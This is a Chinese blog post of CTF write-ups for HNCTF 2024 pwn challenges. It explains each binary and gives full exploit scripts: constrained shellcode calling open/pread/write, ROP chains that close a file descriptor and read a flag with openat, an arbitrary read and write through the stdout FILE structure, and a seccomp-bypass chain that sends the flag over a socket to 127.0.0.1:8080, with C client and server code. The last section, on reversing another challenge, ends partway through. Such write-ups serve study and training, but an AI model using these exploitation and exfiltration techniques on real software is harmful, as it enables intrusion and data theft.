当前位置: 首页 > news >正文

2024 HNCTF PWN(hide_flag Rand_file_dockerfile Appetizers TTOCrv_)

文章目录

  • 参考
  • hide_flag
    • 思路
    • exp
  • Rand_file_dockerfile libc 2.31
    • 思路
    • exp
  • Appetizers glibc 2.35
    • 绕过关闭标准输出实例
    • 客户端 关闭标准输出
    • 服务端
    • 结果
    • exp
  • TTOCrv_🎲 glibc 2.35
    • 逆向
    • DT_DEBUG获得各个库地址
    • 随机数
    • 思路
    • exp

参考

https://docs.qq.com/doc/p/641e8742c39d16cd6d046b18bcb251fd3ab0cd6d

hide_flag

在这里插入图片描述
在这里插入图片描述
open+pread+write即可

pread函数是Linux和其他类UNIX系统中用于文件输入输出的一个高级函数,它允许应用程序在读取文件时指定一个相对于文件起点的绝对偏移量。
ssize_t pread(int fd, void *buf, size_t count, off_t offset);

在这里插入图片描述
要字节码与位置下标的奇偶性一样,即按照偶奇偶奇来
所以sycall这种连续两个奇的就不行了,只能用call去使用函数了(jmp难回来)
在这里插入图片描述

思路

刚进入shellcode时残留的寄存器和栈上的
在这里插入图片描述
在这里插入图片描述

  • pop push add sub mov xchg cmp shl xor call nop
  • 必须两个偶或者奇就填充一个不一样的但不影响的来满足偶奇
  • 利用残留的寄存器和栈上的凑出地址到寄存器里,然后call 寄存器

exp

from pwn import *context(arch='amd64',os="linux",log_level='debug')
libc = ELF('./libc.so.6')p = process('./pwn')gdb.attach(p) 
pause()#F1@g520#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883 c071      4883 c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c 01        2c 01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = libc_open
#       48b9 4631 4067 3633 3001 (F1@g520)    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#pread rax = rcx - 0x1e0b
#       51       58      51        662d 001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a 03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call raxp.sendafter(b"Please find flag's name\n", asm(pay))p.interactive()

在这里插入图片描述

Rand_file_dockerfile libc 2.31

在这里插入图片描述
把open关了,对read的文件描述符做了限制,不能大于2,用close把错误输出关了就行,这样就可以read新open的文件的了,close+openat+read+write

在这里插入图片描述
在这里插入图片描述

ptr ^= __readfsqword(0x28u);

这一行从线程的特定位置读取一个 64 位值并将其与 ptr 进行异或操作。__readfsqword 是一个特殊的内联汇编指令,用于读取一个 64 位值,该值位于 FS 段寄存器所指向的地址上加上偏移量 0x28FS 段寄存器通常用来访问当前线程的非分页内存区域,比如 TLS(Thread Local Storage)。

for ( i = 0; i <= 3; ++i )
{v4 = *((_BYTE *)&ptr + i);*((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);*((_BYTE *)&ptr + 7LL - i) = v4;
}

这是一个循环,用于将 ptr 中的字节顺序反转。由于 ptr 是一个 64 位变量,它由 8 个字节组成。循环从第 0 字节到第 3 字节进行迭代(即前半部分),每次迭代都会执行以下操作:

  • 将当前字节的值保存在 v4 中。
  • 将当前字节与对应的最后一个字节进行交换,即 i7 - i 位置的字节互换。
  • 通过将 v4 赋给 7 - i 位置的字节来完成字节的交换。

由于循环只运行了 4 次,而 64 位值共有 8 个字节,所以前 4 个字节和后 4 个字节分别在循环的前半部分和后半部分(未显示)通过交换实现了整个 64 位值的字节逆序。

fwrite(&ptr, 1uLL, 8uLL, stdout);
fflush(stdout);

这两行代码将逆序后的 ptr 值写入标准输出流 stdoutfwrite 函数的第一个参数是指向要写入数据的指针,第二个参数是每个元素的大小(在这里每个字节是 1),第三个参数是要写入的元素数量(这里是 8),第四个参数是目标文件流。fflush 则用于刷新输出缓冲区,确保所有数据都被立即写出。

write(1, "\n", 1uLL);
return 0LL;

write 函数用于向文件描述符 1(通常代表标准输出 stdout)写入一个换行符,然后函数返回 0LL,表示程序正常结束。

在这里插入图片描述

  1. *a1 ^= *a2;
    这一行使用异或运算符 ^a1 指向的值与 a2 指向的值进行异或操作,并将结果存储回 a1 指向的位置。异或操作有这样一个性质:任何数与自身进行异或操作的结果为零;任何数与零进行异或操作的结果为其本身。

  2. *a2 ^= *a1;
    这里再次使用异或操作,这次是在 a2 指向的值与现在 a1 指向的新值之间进行。由于 a1 现在的值实际上是 *a1 ^ *a2,那么 (*a2) ^ (*a1 ^ *a2) 的结果将是 *a1 的原始值。这个结果现在存储到了 a2 指向的位置。

  3. result = a1;
    这行代码实际上并不参与值的交换过程,它只是将 a1 的值赋给了 result 变量。这里可能是为了返回一个值,但实际上 result 的值并没有在交换过程中改变,所以这行代码可能是为了符合函数声明的返回类型,或者是出于其他目的(如指示调用者哪个指针的值先被改变了)。

  4. *a1 ^= *a2;
    最后一步再次执行异或操作,这次是在 a1 指向的值与现在 a2 指向的新值之间。由于 a2 现在的值实际上是 a1 的原始值,那么 (*a1 ^ *a2) ^ *a1 的结果将是 a2 的原始值。这个结果现在存储到了 a1 指向的位置。

在这里插入图片描述

setenv 函数在C编程语言中用于在进程中设置或修改环境变量。它在 stdlib.h 头文件中声明,可以用来在程序运行时动态地改变环境变量的值。setenv 函数的原型如下:

#include <stdlib.h>int setenv(const char *name, const char *value, int overwrite);

函数的参数如下:

  • name:一个指向 char 类型的指针,表示环境变量的名字。
  • value:一个指向 char 类型的指针,表示环境变量的新值。
  • overwrite:一个 int 类型的值,表示是否覆盖已存在的同名环境变量。如果此参数为非零值,那么即使变量已经存在也会被覆盖;如果为零,且变量已存在,那么函数将不做任何事。

函数的返回值是一个整数,如果函数成功,返回值为0;如果失败,则返回非零值。

下面是一个使用 setenv 函数的例子:

#include <stdlib.h>
#include <stdio.h>int main() {// 设置环境变量 TEST_VAR 为 "Hello World"if (setenv("TEST_VAR", "Hello World", 1) != 0) {perror("setenv error");return 1;}// 获取环境变量 TEST_VAR 的值并打印char *value = getenv("TEST_VAR");if (value != NULL) {printf("Environment variable TEST_VAR is set to: %s\n", value);} else {printf("Environment variable TEST_VAR is not set.\n");}return 0;
}

需要注意的是,setenv 设置的环境变量仅在当前进程及其子进程中有效,不会影响到父进程或其他无关进程的环境变量。此外,当程序结束时,这些环境变量也不会保存到系统中,除非有其他的机制(比如在脚本中重新设置环境变量)将它们持久化。

思路

在这里插入图片描述

调试有点麻烦,因为run里面嵌了个绝对地址,是在搭建的镜像中的,只能patch掉再在本地调试
通过swap实现交换栈上地址八个字节的内容

在这里插入图片描述
实现无限重复循环main函数
然后自己和自己交换就不变还是零,此时会break然后通过下面和canary的异或可以泄露,上面作为一系列泄露的最后部分

泄露libc地址,最后交换到ptr位置然后控制好返回地址后再原位置交换然后输出和canary异或的结果,通过之前已经泄露的canary(不交换ptr的值,0和canary异或的值还是canary)再次异或得到原来结果
在这里插入图片描述
在这里插入图片描述
然后同样方式泄露stack地址
在这里插入图片描述

然后最妙的是通过call swap函数当前的栈上某个地址得到栈地址内容进行固定偏移得到下次循环时候swap的对应的ptr的地址,然后通过libc地址得到stdout地址后计算到下次ptr的偏移,就可以对stdout结构体修改
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
通过和stdout的内容交换来任意地址读,将栈上存有大量的指向环境变量的栈地址(某些栈地址对应的内容是到libc地址)泄露出来,从而得到大量栈地址,并保存尾地址为合适的栈地址(如需要修改第三个字节,就寻找栈地址末尾为3或者b,这往其交换时候此时最后一个字节正好是栈地址+8的的第三个字节,正好对应ptr和canary异或然后反转的最后一个字节,也就是ptr的第一个字节)

由于我们只能交换,不能写,唯一的输入机会就是call swap之前input,由于swap函数和input函数是同一级的,会存在栈帧重叠的部分,所以我们可以通过input函数残留的变量然后通过swap来写其他位置(对调用input的栈帧中残留的写入的变量进行利用,swap写到栈上的另一个位置)

在这里插入图片描述
构造pop rdi ret和gets函数地址,写到返回地址,然后输入rop

利用swap将当前栈上的libc地址和栈地址为3或b的地址+5的位置交换,然后利用swap交换_IO_write_ptr和_IO_write_end设置要写的栈上的地址,控制好ptr的值,使得经过异或后写的第八个高字节(对应输入的第一个字节和canary异或)正好修改残留的libc倒数的第三个字节,然后同样方法修改第二个字节和第一个字节

stdout的任意写,需要构造:
fp -> _IO_write_ptr和fp -> _IO_write_end,指向要写的位置。写的内容为要写入文件的变量的内容。偏移为0x28和0x30。
调用写入文件的一些函数例如fwrite、fputs。

在这里插入图片描述
当修改后需要将这个栈地址的内容和某个固定位置交换下来保存,当要修改倒数第二个字节时,需要找到末尾为2或者a的栈地址,然后之前的保存的位置的内容和栈地址+6的交换,那么当从栈地址写入8个字节时,即可修改栈地址+6的第二个字节,即在之前修改第三个字节基础上修改了第二个字节,第一个字节同理。最后修改完成的libc地址也存到一个地方

利用swap将栈上的pie地址相关的内容和栈地址末尾为2或者a的地址+5交换,然后方法和上面一样,最终要将其改成pop rdi ;ret对应的地址,最后的地址也保存到一个地方
在这里插入图片描述
然后将保存的地址移动到返回地址处,rdi参数构造为之前的泄露的栈地址。get函数后还是要交换为start函数地址(因为输入rop后最后还要进入main函数进行交换操作到返回地址构成rop),然后将rop输入到栈地址部分
在这里插入图片描述
最后先将栈地址开始处的文件名交换到固定位置,然后将rop部分swap到栈的返回地址部分就行(输入的rop 文件名+close+orw)

exp

from pwn import *
import struct
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
p = process("./change_run")def lg(msg, addr=None):if addr is not None:log.info(f"{msg} {addr}")else:log.info(msg)
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
ia = lambda : p.interactive()def swap(num1,num2):ru(b'11? >\n')s(str(num1))ru(b'77! >\n')s(str(num2))def leak(C, canary): # A^B = C bytes_C = C.to_bytes(8, byteorder='little')swapped_bytes = list(bytes_C)for i in range(4):swapped_bytes[i], swapped_bytes[7 - i] = swapped_bytes[7 - i], swapped_bytes[i]reversed_bytes = bytes(swapped_bytes)reversed_int = int.from_bytes(reversed_bytes, byteorder='little')original_data = reversed_int ^ canaryreturn original_data# 泄露stack  
def get_now_stack_ptr(canary):swap(7,0)swap(5,12)swap(0,0)tmp = u64(p.recv(8))stack_ptr_dbb8_daa0 = leak(tmp,canary)stack_ptr = stack_ptr_dbb8_daa0 -0x1f8 # 下一轮0x1f8lg("Now ptr is",hex(stack_ptr))return stack_ptr# find可用地址
def get_addr(io_s,canary): #  打印start_addr栈开始的所有内容now_ptr = get_now_stack_ptr(canary)# 构造任意读offest_1 = (io_s - now_ptr) // 8    # write_ptroffest_0 = offest_1 - 1  # write_base offest__1 = offest_0 - 2    # read_end offest_8 = offest_1 + 7 # file_namelg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(5,12)# 28swap(1,0) # ptr = 1swap(offest__1,22) # write_base 0x7fff4db29ec0swap(offest_0,13) # write_ptr 0x7fff4db29ec0swap(offest_1,200) # write_end 0x7fff4db2ceecswap(offest_8,0) # file_name = 1 swap(0,0)tmp = p.recv(1000)  # 接收1000字节print(tmp)addresses = struct.unpack('125Q', tmp)  memory_dict = {i * 8: addr for i, addr in enumerate(addresses)}match_offsets_2a = []match_offsets_19 = []match_offsets_3b = []for offset, addr in memory_dict.items():last_byte = addr & 0xFFif last_byte % 16 == 2 or last_byte % 16 == 10:print(f"Match the addr last is 2/a, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_2a.append((offset // 8, addr))  if last_byte % 16 == 1 or last_byte % 16 == 9:print(f"Match the addr last is 1/9, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_19.append((offset // 8, addr)) if last_byte % 16 == 3 or last_byte % 16 == 11:print(f"Match the addr last is 3/b, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_3b.append((offset // 8, addr)) return match_offsets_2a, match_offsets_19,match_offsets_3b# int _flags   0
# char* _IO_read_ptr;   /* Current read pointer */  8      
# char* _IO_read_end;   /* End of get area. */   16      
# char* _IO_read_base;  /* Start of putback+get area. */  24      
# char* _IO_write_base; /* Start of put area. */    
# char* _IO_write_ptr;  /* Current put pointer. */ 
# char* _IO_write_end;  /* End of put area. */ 
# char* _IO_buf_base;   /* Start of reserve area. */  
# char* _IO_buf_end;    /* End of reserve area. */   
# # # #
# char *_IO_save_base; /* Pointer to start of non-current get area. */
# char *_IO_backup_base;  /* Pointer to first valid character of backup area */
# char *_IO_save_end; /* Pointer to end of non-current get area. */
# ### #
# int _fileno;# 在ptr内存中存储1个字节
def read_1(data,canary): # stack_ptr + 6  feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)def change_3(stack_start,addr_2a,addr_2a_offest,offset_bechange,data,io_s,canary,i): #修改倒数第三位字节print("addr_2a",addr_2a)now_ptr = get_now_stack_ptr(canary)feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)if offset_bechange != 12 and offset_bechange != 10:offset_bechange = (stack_start-now_ptr) // 8# 先将要修改的内容change放到addr_2a 的addr_28,完整的下一个swap(5,12)addr_28 = addr_2a - i%4 + 8offset_change_0 = (addr_28 - now_ptr)// 8 print("stack_start",stack_start)print("addr_2a",addr_2a)print("addr_28",addr_28)print("addr_2a_offest",addr_2a_offest)swap(offset_bechange,offset_change_0) # 改io到特定地址,io任一写offset_change_2 = (stack_start-now_ptr) // 8 + addr_2a_offest   #末尾为2/a#store tmp to da90offest_1 = (io_s - now_ptr) // 8  # ptroffest_2 = offest_1 + 1 # end# offest_0 = offest_1 - 1  # write_slg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(offest_1,offset_change_2)  # weite_ptrswap(offest_2,offset_change_2+10*i)   #warte_end   swap(0,0)#将换完的内容放到固定位置now_ptr -= 224 offset_change_0 = (addr_28 - now_ptr)// 8swap(5,12)swap(offset_change_0,(stack_start-now_ptr) // 8) #放到固定栈那里swap(0,0)# 泄露canary   
swap(5,12)
swap(0,0)
canary = u64(p.recv(8))
lg("canary is",hex(canary))# 泄露io_addr   
swap(-2,0)
swap(5,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_902e8 = leak(tmp,canary)stdout = libc_902e8 - (0x902e8-0x8c6a0)
write_s = stdout + 8*5 #0x28
write_e = stdout + 8*6 #0x30
lg("stdout is",hex(stdout))#指向环境变量的栈地址,以不同字节结尾
swap(5,12)
swap(13,0) 
swap(0,0)
tmp = u64(p.recv(8))
leak_stack = leak(tmp,canary)
print("leak_stack",hex(leak_stack))# match_offsets_2a, match_offsets_19,match_offsets_3b= get_addr(write_s,canary)
addr_1_offest,addr_1 = match_offsets_19[1]
addr_2_offest,addr_2 = match_offsets_2a[1]
addr_3_offest,addr_3 = match_offsets_3b[1]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))
lg("use 3b is :",hex(addr_3))# 泄露libcbase  
swap(5,12)
swap(0,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_start_243 = leak(tmp,canary)
libcbase = libc_start_243 - libc.sym['__libc_start_main'] - 243
lg("libcbase is",hex(libcbase))gets_addr = libcbase+libc.sym['gets']
change_num = gets_addr & 0xFFFFFF
lg("the change 3 bytes for libcstart ",hex(change_num))
high_byte = (change_num >> 16) & 0xFF
next_byte = (change_num >> 8) & 0xFF
last_bytes = change_num & 0xFFchange_3(leak_stack,addr_3,addr_3_offest,12,high_byte,write_s,canary,3) #改libc的倒数第三个字节
change_3(leak_stack,addr_2,addr_2_offest,0,next_byte,write_s,canary,2) # 修改倒数第二个字节
change_3(leak_stack,addr_1,addr_1_offest,0,last_bytes,write_s,canary,1) # 修改最后个字节   #存储libc_在栈地址now_ptr = get_now_stack_ptr(canary)
gets_addr = leak_stack - 16
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-2)
lg("gets_addr is",hex(gets_addr))# pie  
swap(5,12)
swap(0,9)
swap(0,0)
tmp = u64(p.recv(8))
main_153c = leak(tmp,canary)
mainbase = main_153c - 0x153c
lg("mainbase is",hex(mainbase))pop_rdi  = mainbase + 0x1753
change_pop = pop_rdi & 0xFFFF
next_byte = (change_pop >> 8) & 0xFF
last_byte = change_pop & 0xFF
lg("the change 2 bytes for pop_rdi ",hex(change_pop))addr_1_offest,addr_1 = match_offsets_19[2]
addr_2_offest,addr_2 = match_offsets_2a[2]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))change_3(leak_stack,addr_2,addr_2_offest,10,next_byte,write_s,canary,6) # 修改倒数第二个字节change_3(leak_stack,addr_1,addr_1_offest,0,last_byte,write_s,canary,5) # 修改最后两个字节   #存储libc_在栈地址now_ptr = get_now_stack_ptr(canary)
pop_rdi_addr = leak_stack - 24
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-3)
lg("pop_rdi_addr is",hex(pop_rdi_addr))swap(5,(leak_stack-now_ptr) // 8-3) # pop_rdi
swap(6,13) # stack
swap(7,(leak_stack-now_ptr) // 8-2) # libc_getsswap(8,12) # libc_mainswap(0,0)
lg("Wait set rop")pop_rdi  = libcbase + 0x23b6a
pop_rdx_r12 = libcbase + 0x119431
pop_rsi = libcbase + 0x2601f
pop_rax = libcbase + 0x36174
pop_rdx_rbx = libcbase + 0x15fae6
syscall = libcbase + 0x630a9
reads  = libcbase+libc.sym['read']
openat = libcbase+libc.sym['openat']
writes   = libcbase+libc.sym['write']payload = (b'./flag').ljust(8,b'\x00') + p64(pop_rdi) + p64(2) + p64(pop_rax) + p64(3) + p64(syscall)
payload += p64(pop_rdi) + p64(0xffffff9c) + p64(pop_rsi) + p64(leak_stack) + p64(pop_rdx_rbx) + p64(0x100) * 2 + p64(pop_rax) + p64(257) + p64(syscall)
payload += p64(pop_rdi) + p64(2) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(reads)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(writes)sl(payload)now_ptr = get_now_stack_ptr(canary)
offset = (leak_stack - now_ptr) // 8# gdb.attach(p)
# pause()for i in range(len(payload) // 8 ):swap(i + offset , 5 + i)swap(0,0)ia()

在这里插入图片描述

Appetizers glibc 2.35

在这里插入图片描述
open+read(count=0x9j就行)+write
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
原始的stdout->write_ptr和 stout->write_base相等,因为无缓冲模式,然后单字节高位改变stdout->write_ptr增大
在这里插入图片描述
从而泄露栈地址和heap地址

绕过关闭标准输出实例

在这里插入图片描述
由于关闭了标准输出和输入,此时open+read将flag读到内存中了,此时需要将flag从内存输出,由于关闭标准输出,并且也不能重新打开标准输出,重定向也不可。所以需要socket连接到本地的一个socker,此时新建socker然后连接本地的,然后再将flag写到这个连接,从而写到本地的服务socket中。

客户端 关闭标准输出

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int sock = 0;struct sockaddr_in serv_addr;char buffer[BUFFER_SIZE] = {0};char *message = "flag{zhiyinnitaimei}";// 创建socketif ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {perror("Socket creation error");return -1;}serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(PORT);// 将IP地址从字符串转换为二进制形式if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {perror("Invalid address/ Address not supported");return -1;}// 连接到服务器if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {perror("Connection Failed");return -1;}// 使用write发送消息close(1);ssize_t bytes_written = write(sock, message, strlen(message));if (bytes_written < 0) {perror("Write failed");return -1;}printf("Message sent: %s\n", message);printf("Bytes written: %zd\n", bytes_written);// 接收服务器的回显ssize_t bytes_read = read(sock, buffer, BUFFER_SIZE - 1);if (bytes_read < 0) {perror("Read failed");return -1;}buffer[bytes_read] = '\0';  // 确保字符串正确终止printf("Server echo: %s\n", buffer);printf("Bytes read: %zd\n", bytes_read);// 关闭socketclose(sock);return 0;
}

服务端


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int server_fd, new_socket;struct sockaddr_in address;int opt = 1;int addrlen = sizeof(address);char buffer[BUFFER_SIZE] = {0};// 创建socket文件描述符if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {perror("socket failed");exit(EXIT_FAILURE);}// 设置socket选项if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {perror("setsockopt");exit(EXIT_FAILURE);}address.sin_family = AF_INET;address.sin_addr.s_addr = INADDR_ANY;address.sin_port = htons(PORT);// 绑定socket到指定端口if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {perror("bind failed");exit(EXIT_FAILURE);}// 开始监听连接if (listen(server_fd, 3) < 0) {perror("listen");exit(EXIT_FAILURE);}printf("Server listening on port %d\n", PORT);while(1) {// 接受新的连接if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {perror("accept");exit(EXIT_FAILURE);}// 读取客户端消息int valread = read(new_socket, buffer, BUFFER_SIZE);printf("Received: %s\n", buffer);// 发送回显消息send(new_socket, buffer, strlen(buffer), 0);printf("Echo message sent\n");close(new_socket);}return 0;
}

结果

在这里插入图片描述
在这里插入图片描述

exp

最后写rop在mmap位置,然后写stack然后栈迁移(栈地址也大于0x70FFFFFFFFFFLL),最后rop,
在这里插入图片描述
open+read+socker+connect+write

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'libc = ELF("./libc.so.6")
io = process('./pwn')stdout_offset = 0x220780+ 0x28+0x1 # change 0x28  _IO_write_ptrio.sendafter(b"start.",p8(0xbb^0xb8) + p64(stdout_offset))
# sendline result in next while break 
io.recv(5)
data = b''
while(1):dd = io.recv(timeout=1)if dd==b'':breakdata += ddprint("data",data)libc_base = u64(data[0x5:0xb].ljust(8,b"\x00")) -0x1ca70-0x200000
stack     = u64(data[0x21d:0x21d+6].ljust(8,b"\x00"))print("libc_base",hex(libc_base))
print("stack",hex(stack))libc.address = libc_base
libc_rop=ROP(libc)
pop_rax = libc_base+0x0000000000045eb0
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx = libc_base+0x00000000000904a9
leave_ret =libc_base+0x000000000004da83
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]print("pop_rax",hex(pop_rax))
print("pop_rdi",hex(pop_rdi))
print("pop_rsi",hex(pop_rsi))
print("pop_rdx",hex(pop_rdx))
print("leave_ret",hex(leave_ret))
print("syscall_ret",hex(syscall_ret))def syscall(rax=0, rdi=0, rsi=0, rdx=0):pay  = p64(pop_rax) +  p64(rax)pay += p64(pop_rdi) +  p64(rdi)pay += p64(pop_rsi) +  p64(rsi)pay += p64(pop_rdx) +  p64(rdx) * 2pay += p64(syscall_ret)return paydef read_(fd, buf, count):  return syscall(0, fd, buf, count)
def write(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def socket_(domain=2,TYPE=1,protocol=0): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)# # 0x0100007f901f0002 ip port v
# def socket(d, t, p):
#     return syscall(0x29, 0x2, 0x1, 0)cmd = b'./flag\x00'
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x100+i))flag_str_addr =  libc_base - 0x5000 + 0x100# ## write ip port
cmd = p64(0x0100007f901f0002)
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x180+i))ip_port_addr  = libc_base - 0x5000 + 0x180# rop
rop  = open_(flag_str_addr, 0,0) # /flag fd =  0
rop += read_(0,flag_str_addr,0x50) # 
rop += socket_() # fd =1 
rop += connect_(1,ip_port_addr, 0x10) # socker connect to socket
rop += write(1,flag_str_addr,0x50)  #  cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x200+i))gdb.attach(io)
pause()#leave stack
ret_stack = stack - 0x120offset = ret_stack - (libc_base-0x5000)
io.send(p8(0x6b^0x7f) + p64(offset))ordrbp_pos = stack - 0x128
old_rbp=stack-0x118
offset =ordrbp_pos-(libc_base-0x5000)
newrbp = libc_base - 0x5000 + 0x200 - 8
rop = p64(newrbp ^ old_rbp)cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(offset+i))io.sendline(b"")io.interactive()

在这里插入图片描述
在这里插入图片描述

TTOCrv_🎲 glibc 2.35

在这里插入图片描述
在这里插入图片描述
openat+read+write

逆向

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{__int64 buf; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);sandbox_0();while ( 1 ){do{while ( 1 ){menu();puts("🦐>>>");buf = 0LL;read(0, &buf, 7uLL);if ( buf != '{}\n' )break;dele();}}while ( buf > (unsigned __int64)'{}\n' );if ( buf == 'db\n' )break;if ( buf <= (unsigned __int64)'db\n' ){if ( buf == 'bd\n' ){nouse();                                // no use}else if ( buf <= (unsigned __int64)'bd\n' ){if ( buf == 'TF\n' ){show();}else if ( buf <= (unsigned __int64)'TF\n' ){if ( buf == 'PF\n' ){show_edit_name();}else if ( buf <= (unsigned __int64)'PF\n' ){if ( buf == 'H&\n' ){new();}else if ( buf == 'NC\n' ){edit();}}}}}}exit(0LL);
}

在这里插入图片描述
chunk_array没有清零,double free
在这里插入图片描述
在这里插入图片描述

可以show after free,根据每个字节的低四位和高四位分别与基础字符相加然后打印出字节的字符
在这里插入图片描述

在这里插入图片描述
由于清不了零,这里只能new 4次
在这里插入图片描述
edit after free

  • 上述idx都没有检查,存在越界读或写,但如果要往负的越界写由于只能输入7个字节,负数需要最高的第八个字节为ff,这里需要利用到先调用nouse这个函数输入满\XFF,然后再调用输入函数时会将残留的ff包括在内,这样加上原来的7个字节才能组成负数

DT_DEBUG获得各个库地址

通过DT_DEBUG来获得各个库的基址
在这里插入图片描述
里DT_DEBUG的值是0。在实际运行时,DT_DEBUG的值是指向struct r_debug的指针

struct r_debug{ int r_version;              /* Version number for this protocol. */struct link_map *r_map;     /* Head of the chain of loaded objects. *//* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ElfW(Addr) r_brk;enum{ /* This state value describes the mapping change taking place when the `r_brk' address is called. */RT_CONSISTENT,          /* Mapping change is complete. */RT_ADD,                 /* Beginning to add a new object. */RT_DELETE               /* Beginning to remove an object mapping. */} r_state;ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at. */};

